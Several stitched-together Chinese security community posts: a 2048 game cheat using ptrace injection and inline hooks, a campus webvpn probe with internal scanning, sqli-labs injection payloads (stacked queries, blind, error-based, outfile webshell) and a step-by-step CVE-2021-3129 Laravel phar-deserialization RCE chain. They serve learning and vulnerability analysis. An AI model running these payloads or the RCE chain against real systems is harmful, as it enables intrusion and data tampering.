不记得看这里：<https://xianzhi.aliyun.com/hellcat/activity.htm>
现在，是时候公布获奖情况啦~
获得积分最高的安全公司是：九江墨眉网络科技有限公司，积分1410分。获得5万元奖金！！
获得积分TOP5的白帽子是：
第一名：Gr36_，积分2320，获得奖金3万元。
第二名：kernel_dbg，积分2300，获得奖金2万元。
第三名：换个昵称，积分1500，获得奖金1万元。
第四名：bey0nd，积分1500，获得奖金5000元。
第五名：飞扬风，积分965，获得奖金3000元。
*积分相同按照先达到积分的时间排名
以上获奖的安全公司和白帽子，获得平台“安全专家”称号（等称号系统上线就能在线上看到啦），也将获得平台首次颁出的荣誉证书和奖章，敬请期待。 | 社区文章 |
[TOC]
# 引言
本篇文章主旨是通过破解2048这款游戏来入门游戏破解，学习ptrace注入和inlinehook组合使用技术
# 游戏玩法
手指向上滑动，所有带有数字的牌向上移动
遇见相同数字牌会数字相加融合成一张牌
直到融合出一张数字为2048的牌即可赢得胜利
# 破解思路
【1】破坏计算逻辑，修改成不相同的牌面也可以相加
【2】修改加法运算，任意两个牌面相加即可得到2048的牌面
【3】直接生成一张2048的牌面
【4】修改通关逻辑，未合成2048牌面也可通关
# 逆向游戏逻辑
打开2048.apk安装包，发现只有一个lib\armeabi\libcocos2dcpp.so文件，可以看出游戏由Cocos2d-x引擎进行开发，主要编程语言是C++，这里因为反编译后java曾代码只有一些UI显示，所以可以判断游戏逻辑都在Native层。
首先我们打开IDA导入libcocos2dcpp.so，使用shift+F12搜索类似win、game
over的字样，随意点进去一个字段，并使用x进行交叉引用，看有哪些方法调用了这个字段，可以从类名中看出这些代码都没有隐藏符号，并且从下面得到的结果和字面上意思，可以合理猜测这个类应该是控制游戏逻辑的相关类，接着继续查看这个类的具体情况
## 确定游戏控制类
我们在函数窗口继续看这个类相关方法，发现了有关游戏过关、结束等逻辑的方法名
继续对这个wonTheGame进行跟踪，发现Playground::checkPlaygroundForEvents类方法对其进行了调用，这里我们可以从名称中看出Playground是playgroundcontroller的基类
再次搜索基类Playground的相关方法，可以看见都是游戏逻辑相关的方法名，有分数、牌移动、游戏开始结束等相关内容，可以确定游戏逻辑由基类Playground以及其派生类控制，下面看一下
## 熟悉游戏逻辑
在熟悉游戏的时候，大致每次生成牌的数字都在2和4中并且在16方格中随机出现，可以在的逻辑控制类中找找看是否存在random这样的字段，Playground::addBoxRandom方法，从名称中判断应该是添加一个随机牌面相关的方法，进去看看
从下面函数名中可以猜测可能是在指定位置添加牌吧，下面我们具体通过动态调试验证一下
`aapt.exe d bading 2048.apk |findstr
package`即可输出包名com.estoty.game2048，然后使用IDA进行attach连接，在addBoxAtIndex下断点，然后在屏幕上向任意方向滑动后，都会执行到这里一次并产生一个新的牌
接着我们在addBoxAtIndex内部的Playground::addBoxAtIndexWithLevel(int,int,bool)方法上下断点，r0是this，r1-r3存储着三个参数。我们在上面猜测这个函数是在指定位置生成牌，那么这三个参数可能包含位置、点数、是否生成这三种情况，执行完这里后，屏幕上第四个方格中生成一张点数为2的牌，如果下标从0开始那么这个3代表的位置就对上了，但是第二个1和点数2对不上，为了验证它我们将r2的值修改成0xB，结果生成了一个点数为2048的牌，可以判断r2的值是2的指数幂。验证r3所代表的是否是我们猜测的内容也很简单，修改r3为0要看牌是否生成即可，发现第三个并不代表是否生成牌的选项，但是我们了解前两个参数已经够用了。
* r1：牌生成的位置，取值范围0-15(0-0xF)
* r2：代表2的指数幂，运算后的结果即牌的点数
# 外挂实现
## 实现方案
【1】通过Inline Hook技术将addBoxAtIndexWithLevel的第二个参数(点数)进行修改，即可生成任意数值的牌
【2】hook导入表函数arc4random，获取调用者的信息，如果是addBoxAtIndex就返回0，即可保证第二个参数始终为1，从而只能生成牌面为2的牌
【3】动态/静态patch掉设置牌面点数方法_ZN3Box15setCurrentLevelEi的参数值，直接生成相应点数
【4】异常hook+导入表hook结合起来进行，同第二种方法
### 方案【1】
这里我们针对方案1进行实现，利用ptrace注入+inline hook技术
#### 实现流程
#### 实现代码
我们先实现hook层，测试成功后接着实现ptrace注入层，这样方便测试
**Inline Hook层**
* 构造用户自定义函数replace_addBoxAtIndexWithLevel，实现寄存器值的修改
* 构造原指令函数
* 执行原指令addBoxAtIndexWithLevel
* 跳转回游戏正常指令流程
* 构造桩函数
* 保存寄存器值
* 跳转到用户自定义函数replace_addBoxAtIndexWithLevel
* 还原寄存器的值
* 跳转到原指令函数
_具体代码细节可以看我上传在github上的源码<https://github.com/xiongchaochao/InlineHook>，
**欢迎start**_
我们hook这里0x7587ECE4
，减去so模块基地址偏移0xa1ce4，对github上的源码进行小改即可，改动如下。就是如果在下一条指令下hook就会覆盖半条BL指令
这里对r2,r3可随意修改，如下r2=1，r3=0，那么HOOK完之后，执行了ADCS
R2,R3，R2的值就变成了2（有进位），再经过下面的加一，就变成了3，所以最后每次生成的牌面都为8
/**
* 用户自定义的回调函数，修改r0寄存器大于300
*/
void EvilHookStubFunctionForIBored(pt_regs *regs)
{
LOGI("In Evil Hook Stub.");
regs->uregs[2] = 0x1;
regs->uregs[3] = 0x0;
}
/**
* 1.Hook入口
*/
void ModifyIBored()
{
LOGI("In IHook's ModifyIBored.");
void* pModuleBaseAddr = GetModuleBaseAddr(-1, "libcocos2dcpp.so");
LOGI("libnative-lib.so base addr is 0x%X.", pModuleBaseAddr);
if(pModuleBaseAddr == 0)
{
LOGI("get module base error.");
return;
}
//模块基址加上HOOK点的偏移地址就是HOOK点在内存中的位置
uint32_t uiHookAddr = (uint32_t)pModuleBaseAddr + 0xa1ce4;
LOGI("uiHookAddr is %X", uiHookAddr);
LOGI("uiHookAddr instructions is %X", *(long *)(uiHookAddr));
LOGI("uiHookAddr instructions is %X", *(long *)(uiHookAddr+4));
//HOOK函数
InlineHook((void*)(uiHookAddr), EvilHookStubFunctionForIBored);
}
**ptrace注入层**
详细注入功能代码，参考我上传到github上的项目：<https://github.com/xiongchaochao/ptraceInject>
**欢迎start**
这里只附上，入口代码,主要是最上面三个参数的修改：
int main(int argc, char *argv[]) {
char InjectModuleName[MAX_PATH] = "/data/libIHook.so"; // 注入模块全路径
char RemoteCallFunc[MAX_PATH] = "ModifyIBored"; // 注入模块后调用模块函数名称
char InjectProcessName[MAX_PATH] = "com.estoty.game2048"; // 注入进程名称
// 当前设备环境判断
#if defined(__i386__)
LOGD("Current Environment x86");
return -1;
#elif defined(__arm__)
LOGD("Current Environment ARM");
#else
LOGD("other Environment");
return -1;
#endif
pid_t pid = FindPidByProcessName(InjectProcessName);
if (pid == -1)
{
printf("Get Pid Failed");
return -1;
}
printf("begin inject process, RemoteProcess pid:%d, InjectModuleName:%s, RemoteCallFunc:%s\n", pid, InjectModuleName, RemoteCallFunc);
int iRet = inject_remote_process(pid, InjectModuleName, RemoteCallFunc, NULL, 0);
//int iRet = inject_remote_process_shellcode(pid, InjectModuleName, RemoteCallFunc, NULL, 0);
if (iRet == 0)
{
printf("Inject Success\n");
}
else
{
printf("Inject Failed\n");
}
printf("end inject,%d\n", pid);
return 0;
}
# 小结
【1】使用代码`android.os.Build.CPU_ABI`或者使用shell命令访问/proc/cpuinfo来看手机CPU架构，可以在附录中的ABI管理中查看不同架构的CPU对应的指令集，abi为armeabi-v7a对应ARMv7
【2】Thumb-2指令集是4字节长度的Thumb指令集和2字节长度的Thunb指令集的混合使用
【3】在4字节长度的Thumb指令中，若该指令对PC寄存器的值进行了修改，那么这条指令所在的地址一定要能整除4，否则程序会崩溃，所以如果指令地址不能整除4时我们通过NOP(BF00：Thumb-2)填充第一条指令，让我们覆盖跳转指令的地方可以被4整除，这个时候需要保存的原指令就是10字节长度了
【4】执行完保存的原指令后，我们跳转回去的地址需要加1让其为奇数，防止切换回arm指令集，让编译器编译出错
【5】调用RestroeThumbHookTarget/RestroeArmHookTarget删除断点的时候，是不能调用InitThumbHookInfo函数来初始化hook点信息的，这样会用修改后的指令覆盖被保存的指令
# 思考
【1】ARM指令集切换到Thumb是通过分支执行条内存地址为奇数的指令，当然这条指令存储的位置还是偶数的，只是将这个奇数减一就可以得到指令真实地址。之后如果通过PC寄存器每次加2来得到奇数的内存地址来执行指令，所以一直都是Thumb模式，如果出现分支跳转到一个偶数指令，就会切回ARM指令集
# 附录
介绍 | 内容
---|---
相关代码应用下载链接 |
[https://gslab.qq.com/portal.php?mod=attachment&id=2050](https://gslab.qq.com/portal.php?mod=attachment&id=2050)
Android Arm Inline Hook | <http://ele7enxxh.com/Android-Arm-Inline-Hook.html>
Android Inline Hook中的指令修复详解 | <https://gtoad.github.io/2018/07/13/Android-Inline-Hook-Fix/>
ABI 管理 | <https://developer.android.com/ndk/guides/abis.html?hl=zh-cn>
InlineHook功能代码 | <https://github.com/xiongchaochao/InlineHook>
ptrace注入功能代码 | <https://github.com/xiongchaochao/ptraceInject> | 社区文章 |
以下提及的漏洞都提交到 edusrc平台进行修复
### webvpn 突破
受到 **[en0th师傅文章](https://xz.aliyun.com/t/11000)** 启发，对学校 webvpn 进行了一次src漏洞挖掘测试
账号为学号，密码规则 在web页面也给出来了，搜索开源信息，能搜索到学号和对应的人名
### 内网资产
进入内网系统后，发现点击相应的链接可以访问相应的内网资源
对相应的内网域名及ip访问 会经过webvpn加密后再次拼接，如果想获取更多内网资源，就必须知道ip和域名的加密规则
https://webvpn.xxxx.edu.cn/http/77726476706e69737468656265737421a1a013d2756326012c5ac7f8ca/
通过页面源码的关键字 搜索，发现了 公开的webvpn 的url加解密流程，经过测试发现key和iv都是默认的
//安装aes-js库
npm install aes-js
//引入库，从cmd终端输入读取weburl来进行加密
const weburl = process.argv.slice(2)[0];
var aesjs = require('aes-js');
//加密代码，然后输出
console.log(encrypt(weburl,wrdvpnIV,wrdvpnKey));
调用nodejs来运行 加密脚本，获取到url拼接内容
用python 编写脚本 ，调用 os.popen() 读取控制台加密的url，对webvpn界面显示的210.xxx 、121.xxxx
等网段进行一次扫描， request 发包可以对内网存在的web资源进行一次扫描
import os
cmd = 'node wrdvpn.js ' + url
pipeline = os.popen(cmd)
result = pipeline.read().strip()
print(result)
除此之外，webvpn 还可以拼接端口和协议，类似规则为 /http-xxx/ /https-xxxx/
### 漏洞挖掘
扫描得到了很多内网的资产
简单查看其中一些资产，发现了一个科研管理系统的资产，发现 网上都有公开的POC
存在 **Orcale SQL注入** 漏洞，但是 Sqlmap 无法进一步获取数据，漏洞危害比较小
**未授权任意文件下载** ，无需登录，遍历id就可以对科研文件进行下载
还有很多校园内网资产，后面再慢慢看
参考链接:
<https://xz.aliyun.com/t/11007>
<https://blog.csdn.net/lijiext/article/details/110931285> | 社区文章 |
# 4.Stacked Injections
## **Less-39**
堆叠注入，成功创建test39数据表
1;create table test39 like users;%23
删除test39数据表
1;drop table test39;%23
再次查询就会有新建的表名
0 union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database() %23
## **Less-40**
1');create table test40 like users;%23
再次查询就会有新建的表名
0') union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database() %23
## **Less-41**
1;create table test41 like users;%23
再次查询就会有新建的表名
0 union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database() %23
## **Less-42**
password处无过滤
login_user=1&login_password=1'%3bcreate+table+test42+like+users%3b%23&mysubmit=Login
## **Less-43**
password处无过滤
login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login
## **Less-44**
login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login
## **Less-45**
login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login
## **Less-46**
**order by注入**
username、password均为列名，所以以下需要知道列名
?sort=if(1=1,username,password)
?sort=null,if(1=1,username,password)
?sort=(case when (1=1) then username else password end)
?sort=ifnull(null, username)
?sort=rand(1=1) //order by rand(1)/rand(0)两者返回不一样
?sort=(select 1 regexp if(1=1,1,0x00))
将1=1换成bool盲注的语句函数即可用于获取数据
sort=rand(ascii(database(),1))=115)
**时间盲注**
sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select
if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from
(select database() as current) as tb1)
**Bool 盲注**
rand(ascii(left(database()),1))=115)
**报错注入：**
1%20or%20updatexml(1,concat(0x7e,(select%20user())),1)
updatexml(1,if(1=1,concat(0x7e,version()),2),1) (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
procedure analyse 参数后注入
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
**into outfile参数:**
id=1 into outfield "path"
上传网马，可以在后面加上lines terminated by 16进制转码的数据
## **Less-47**
有'，可以用报错
1%27%20or%20updatexml(1,concat(0x7e,(select%20user())),1)%20--%20q
1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
也可以用时间盲注
1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
procedure analyse 参数后注入
1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
## **Less-48**
1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)
## **Less-49**
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where
id=1),1,1))=68,0,sleep(5)))--+
## **Less-50**
堆叠注入
1;create table test50 like users;%23
## **Less-51**
1';create table test51 like users;%23
## **Less-52**
1;create table test52 like users;%23
## **Less-53**
1';create table test53 like users;%23
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# CVE-2021-3129 Laravel Debug mode RCE 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
这是笔者第一次撰写漏洞分析的文章，Ignition
个人并没有深入的开发经验，所以有部分可能写得不是那么“入行”，在浏览了许多官方文档粗略了解的情况下，复现并分析了这个漏洞。
总之，如有不当，烦请评论捉虫，我会在第一时间响应并评论提示，谢谢。
## 0x01 简介
Laravel 是基于 MVC 模式的 php 框架，更多框架知识可参考：
[Laravel 框架基础知识总结](https://www.cnblogs.com/yimingwang/p/9781735.html)
[Laravel 5.8 中文文档](https://learnku.com/docs/laravel/5.8)
Ignition 是 Laravel 6 应用程序的默认可自定义的错误页面，它允许在 Flare 上公开分享错误。 如果使用有效的 Flare API
key 进行配置，则会跟踪在应用程序中发生的错误，包括堆栈跟踪。
[Ignition 项目地址](https://github.com/facade/ignition)
[Ignition 官方文档](https://flareapp.io/docs/ignition-for-laravel/installation)
这篇建议阅读，会帮助后续理解：
[Laravel Ignition 功能全解析](https://learnku.com/laravel/t/33857)
#### 漏洞成因
在 Debug 模式下，Laravel 内置的 Ignition 功能某些接口未严格过滤输入数据，导致 `file_get_contents()` 和
`file_put_contents()` 函数使用不安全，从而使攻击者能够使用恶意日志文件引起 phar 反序列化攻击，远程执行代码并最终获得服务器权限。
#### 影响版本
* Laravel < 8.4.3
* Facade Ignition < 2.5.2
#### 配置实验环境
<https://github.com/SNCKER/CVE-2021-3129>
具体配置参照项目的食用方法，`generate app key` 刷新显示如下页面即成功。
同时我们还需要一个工具 [phpggc](https://github.com/ambionics/phpggc) 生成 payload：
git clone https://github.com/ambionics/phpggc.git
## 0x02 复现
以 [Ignition 2.5.1](https://github.com/facade/ignition/releases/tag/2.5.1)
源代码审计。
在功能解析的文章中，我们知道 Igniton 有很多建议的解决方案，这对应着源码中的 `Solutions`：
我们配置环境做的 `generate app key` 也在其中。
漏洞成因出自 `MakeViewVariableOptionalSolution.php` 这个文件过滤不严，举个例子，假如我们使用了一个未知变量：
可以看到使用了 blade 模板。
Ignition 提出的解决方案便是将 `{{ $name }}` 替换为`{{ $name ?? '' }}` ，这里我们点击 `Make
variable optional` 前抓包：
post 传递了相应的解决方案类、要替换的变量名以及对应 View 文件路径。
### 代码审计
接下来审计代码，看上述三个参数是否有可利用的地方。
首先我们从 `src/IgnitionServiceProvider.php` 中查找对应路由映射的控制器。
`src/Http/Controllers/ExecuteSolutionController.php` 这是只有单个行为的控制器：
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
`solution` 决定解决方案类名：
`src/SolutionProviders/SolutionProviderRepository.php` ：
public function getSolutionForClass(string $solutionClass): ?Solution
{
if (! class_exists($solutionClass)) {
return null;
}
if (! in_array(Solution::class, class_implements($solutionClass))) {
return null;
}
return app($solutionClass);
}
其确保了我们指向的类实现 `RunnableSolution` 这个接口，这个参数是不能被随意更改的，pass。
而另外的 `parameters` 则会被传到各个方案类中：
我们再来看 `variableName` 和 `viewFile`：
`src/Solutions/MakeViewVariableOptionalSolution.php`：
class MakeViewVariableOptionalSolution implements RunnableSolution
{
.
.
.
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
// 这里写入修改后的文件
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
/* 注解 1:
* 读取 viewFile 文件内容，然后判断 variableName 是否设置并非 NULL(isset)，决定对文件的操作:
* (1) 已设置，什么都不做。
* (2) 未设置，就将 '$'.$parameters['variableName'] 替空('')
*/
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'],
'$'.$parameters['variableName']." ?? ''",
$originalContents);
/* 注解 2:
* 对原始文件内容和修改后的文件内容字符进行了解析，然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号
* 等价于分析代码结构
*/
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
/* 注解 3:
* 进行了一次“正确”的代码结构分析，如果我们对 variableName 动了些手脚，它可以通过结果对比阻止我们修改文件
* 当然如果比对正确，修改后的文件将会被写入
*/
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
// 正常情况下的 token_get_all() 执行结果生成
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}
配合代码的三条注解理解，`variableName` 其实等同于加密口令，我们很难绕过这个验证。
而最后一个变量 `viewFile` ，有读写两个操作，且 **没有任何过滤** ：
$originalContents = file_get_contents($parameters['viewFile']);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
而 `file_get_contents` 通过 `phar://` 伪协议解析 phar 文件时，会将 meta-data
进行反序列化，我们或许可以利用它来 RCE 。
### 漏洞分析
接下来我们从两个问题出发，分析如何去利用这个漏洞。
#### 写入什么样的文件？
现在，我们的目的是要找合适的文件写入，之前的情况是使用了未知变量，但因为 `variableName`
修改文件内容前有严格验证，我们并不能利用它，也不能从页面得到任何有效信息，已存在的文件同理。
那么，最后的选项便是日志文件了。
Laravel 使用 [Monolog](https://github.com/Seldaek/monolog)
库为各种强大的日志处理程序提供支持，`config/app.php` 配置文件的 `debug`
选项决定了是否向用户显示错误信息。默认情况下，此选项设置为获取存储在 `.env` 文件中的 `APP_DEBUG` 环境变量的值，默认的 Laravel
日志记录在一个文件 `storage/logs/laravel.log` 。
我们复现的环境本来就是处于 Debug 模式下，本来对于本地开发，应该将 `APP_DEBUG` 环境变量设置为 true 。而在生产环境中，此值应始终保持
false 。如果在生产中将该值设置为 true
，则有可能会将敏感的配置信息暴露给应用程序的最终用户，这也是该漏洞的一大成因。举个例子，我们来尝试加载一个不存在的 View 文件：
再来看实例的 log 文件是否有对应记录：
成功了，这样我们可以尝试注入精心构造的 payload 通过日志文件获取想要的信息。
#### 如何转换文件？
虽能写入日志文件，还是有几个问题需要注意：
我们写入了日志文件后，要怎么让其作为 php 文件解析？
后缀名是不能变的，那么自然而然想到了 phar 来伪造。
phar 文件只要有正确的 stub 即可，它可以理解为一个标志，格式为 `xxx<?php xxx;
__HALT_COMPILER();?>`，前面内容不限，但必须以 `__HALT_COMPILER();?>` 来结尾，否则 phar
扩展将无法识别这个文件为 phar 文件。
我们如何转换 log 文件为 phar ？
用 `php://filter` 在文件返回前更改其内容？
CTFer 应该很熟悉，在读取包含有敏感信息的 php 等源文件时，为了规避特殊字符造成混乱，先将“可能引发冲突的代码”编码一遍，如 b64 ：
php://filter/read=convert.base64-encode/resource=xxx.php
而 php 在进行 b64 解码时， **不符合 b64 标准的字符将被忽略** ，也就是说仅将合法字符组成密文进行解码，这个特性在绕过“死亡
exit”时经常被用到，解密等同于以下代码：
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
看上去这个方法是可行的，但日志文件并非完全由我们写入的内容组成，还有旧记录，并且我们注入生成的记录会类于以下格式：
[2021-02-10 14:35:38] local.ERROR: file_get_contents(snovving): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(snovving): failed to open stream: No such file or directory at /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/src/vendor/fac...', 75, Array)
#1 /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('snovving')
...
#36 /src/server.php(21): require_once('/src/public/ind...')
#37 {main}
"}
可以看到 payload (snovving)
出现了三次，还有时间前缀和后面大量堆栈跟踪的信息，注入的内容只占其中很小一部分，这意味着返回的内容将是巨量的。
同时还有个非常严重的问题，b64 解码是 4 比特一组，`==` 或 `=` 只会出现在末尾，它们代表最后一组的代码只有 8 位或 16 位，如果 `=`
出现在了中间，因为是 b64 合法字符不会被忽略，也绝大可能不能被正确解码，也就是说，php 将会报错， **这样将不会返回任何结果** 。
综上所述，即使我们利用多次 b64 解码吃掉其他字符，也很大可能出现错误（`=`），并不能精确地转换为 phar
，而且构造上也很繁琐，因为我们在实际测试中，并不知道旧记录，也不知道 `log_max_files` 最大的日志文件数。
**思考到这，既然文本量大，在注入前，我们索性彻底清空 log 文件，这样文件内容就完全是我们 payload 的记录了，届时再来想办法用 b64
吃字符转换，化大为小。**
确定思路后，我们先来观察单个错误记录， 之前我们注意到它出现了三次，但我们现在要关注的是 payload **完整** 出现的地方：
这里我用了更明显的 payload ，可以看到完整出现的有两处，记录结构也就相当于：
[x1]payload[x2]payload[x3]
即使加上以前日志记录：
[x0]
[x1]payload[x2]payload[x3]
这般，我们清空 log ，也就删除了 `[x0]` 。
**清空 log 文件**
作者提到有一个过滤器（并未被官方文档记录）可以完全清除：
php://filter/read=consumed/resource=../storage/logs/laravel.log
##### 处理单个错误
虽然单独的 b64 不能清除 `[x1]~[x3]` ，但我们不只有这一个过滤器，况且 `php://filter` 是允许使用多个过滤器的。
处理单个错误的思路，便是把 `[xn]` 这部分内容尽可能变成非 b64 合法字符，最后一次性 b64 解码吃掉，就剩下了我们的 payload ，phar
文件。
[可用过滤器列表](https://www.php.net/manual/zh/filters.php)
由此，我们需要选择方便构造的过滤器，[例如 utf-16 转换为
utf-8](https://www.php.net/manual/en/filters.convert.php) ：
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* Outputs: This is a test. */
?>
测试一下：
echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0[x2]p\0a\0y\0l\0o\0a\0d\0[x3]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱payload硛崲payload硛崳
这样 `[xn]` 的部分就都变成了非 ascii 字符，接下来就要想办法 **让两处完整 payload 只出现一次** 。
因为 utf-16 使用两个字节，我们可以在后面加一字节，从而使第二处解码错误 ：
echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱payload存㉸灝愀礀氀漀愀搀堀硛崳
这样做还有一个好处，因为我们的 payload 不一定像示例一样奇数个能对齐，或许是如 snovving 这样的偶数个字符：
echo -ne '[x1]s\0n\0o\0v\0v\0i\0n\0g[x2]s\0n\0o\0v\0v\0i\0n\0g[x3]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱snovvin孧㉸獝渀漀瘀瘀椀渀最硛崳
可以看到最后的 g 没有解码成功，但我们加上一字符：
echo -ne '[x1]s\0n\0o\0v\0v\0i\0n\0g\0X[x2]s\0n\0o\0v\0v\0i\0n\0g\0X[x3]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱snovving存㉸獝渀漀瘀瘀椀渀最堀硛崳
就能 **保证有一处解码是完全正确的** 。
上述都是建立在日志文件本身是两个字节对齐的前提下，但如果不是的话，我们仍会在 `[x1]~[x3]` 解码错误：
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
所以我们得想办法让这个文件 `[x1]~[x3]` 的部分尽量“均匀”，能无限接近“整除”，这样想就很明确了，两倍。
我们在发送攻击 payload 之前，先随便发送一个无害的，届时日志文件就是这样的构造，保证了两字节：
[x1_1]payload1[x1_2]payload1[x1_3]
[x2_1]payload2[x2_2]payload2[x2_3]
最后，便是对空字节的处理，它只有一字节，而 `file_get_contents()` 在加载有空字节的文件时会 warning ：
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1
所以我们要对它 **进行填充编码** ，相信有过一定计网知识的会联想到 quoted-printable 这种内容传送编码。
> quoted-printable
>
> 这种编码方法的要点就是对于所有可打印字符的 ascii 码，除特殊字符等号 = 外，都不改变。
>
> = 和不可打印的 ascii 码以及非 ascii 码的数据的编码方法是：
>
> 先将每个字节的二进制代码用两个十六进制数字表示，然后在前面再加上一个等号 = 。
>
> 举例如 = ，它的编码便是 `=3D` ，3D 可对照十六进制 ascii 码表得到。
在清空了 log 文件、传送两个 payload 后，文件中只有两个错误信息记录，也就是说，只有少量的非 ascii
码，用这种编码方式再适合不过，并且，它也有对应的过滤器 `convert.quoted-printable-decode` ：
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs: =This is a test.=0A */
?>
空字节的编码，自然是 `=00` 。
至此，我们的转换链就能构造了：
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
综上，两个问题的提出和解决，攻击思路已经非常明晰了：
1. 编码构造 payloadb64 -> quoted-printable ，这里构造好后，还要在末尾添加一字符，确保有且只有一处是完整的 payload 。
2. 清空 log 文件
3. 发送无害 payload 对齐
4. 发送攻击 payload
5. 解码转换 log 至 pharquoted-printable -> utf-16 转 utf-8 -> b64
6. phar 伪协议执行
### 漏洞利用
编码构造，需要在 phpggc 目录中运行，结果保存在 `payload.txt` 中，记得在末尾添加一个字符，如 `a`
，这里我并未用作者博客中的生成指令，两个 sed 表达式并不能百分百正确 quoted-printable 编码，我参考了作者写的 exp
脚本，quoted-printable 本质上就是将每个字节的十六进制数前加一个 `=` ，所以能得出指令：
php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt
清空 log 文件：
php://filter/read=consumed/resource=../storage/logs/laravel.log
发送无害 payload ：
AA
将第一步构造好的 payload 发送（注意末尾的 `a` 是我们前面添加的）：
=50=00=44=00=39=00=77=00=61=00=48=00=41...=00=43=00=54=00=55=00=49=00=3D=00a
转换文件：
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
注意转换文件这步一定要无返回信息，如果有错误，说明前几步根本没到位。
此时的 log 文件一定只有一条完整的 payload ，也就是纯净的 phar 文件：
伪协议：
phar://../storage/logs/laravel.log/test.txt
利用成功。
我们安装的 docker 环境自带有 exp 脚本，github 上也有很多如一键 getshell
的优秀脚本，建议阅读实践，可以参考[这个博客](https://blog.csdn.net/qq_41832837/article/details/113410247?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-2&spm=1001.2101.3001.4242)尝试运行，也可以试着自写脚本添加更多链生成的
payload ，增强通杀能力。
### 漏洞拓展
让我更感兴趣的是作者提出的另一个思路：使用 ftp 同 php-fpm 对话。
